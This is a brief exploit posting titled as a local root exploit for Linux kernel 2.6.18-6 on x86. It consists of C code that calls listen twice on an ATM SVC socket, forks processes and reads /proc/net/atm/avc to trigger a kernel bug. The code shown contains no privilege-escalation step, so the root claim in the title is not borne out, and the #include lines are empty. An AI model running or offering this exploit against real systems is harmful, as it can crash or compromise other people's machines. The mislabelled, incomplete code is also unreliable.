Linux kernel-2.6.18-6 x86 Local Root Exploit

                                                #include
#include
#include
#include
#include
#include
#include
#include

#define NUM_CPUS 8
#define ATM "/proc/net/atm/avc"

int
main(void)
{
char *err, adurit[2000];
int i, ret, sock, proc;
struct atm_qos dj;
struct sockaddr_atmsvc addr;

sock = socket(PF_ATMSVC, SOCK_DGRAM, 0);

memset(&dj, 0, sizeof(dj));
dj.rxtp.traffic_class = ATM_UBR;
dj.txtp.traffic_class = ATM_UBR;
dj.aal = ATM_NO_AAL;

ret = setsockopt(sock, SOL_ATM, SO_ATMQOS, &dj, sizeof(dj));
if (ret == -1) {
printf("failed !\n");
return 1;
}
memset(&addr, 0, sizeof(addr));
addr.sas_family = AF_ATMSVC;

bind(sock, (struct sockaddr *) &addr, sizeof(addr));

listen(sock, 10);
listen(sock, 10);

for (i = 1; i < NUM_CPUS; ++i) {
if (fork() != 0) {
break;
}
}
proc = open(ATM, O_RDONLY);
ret = read(proc, &adurit, 2000);
close(proc);

return 0;
}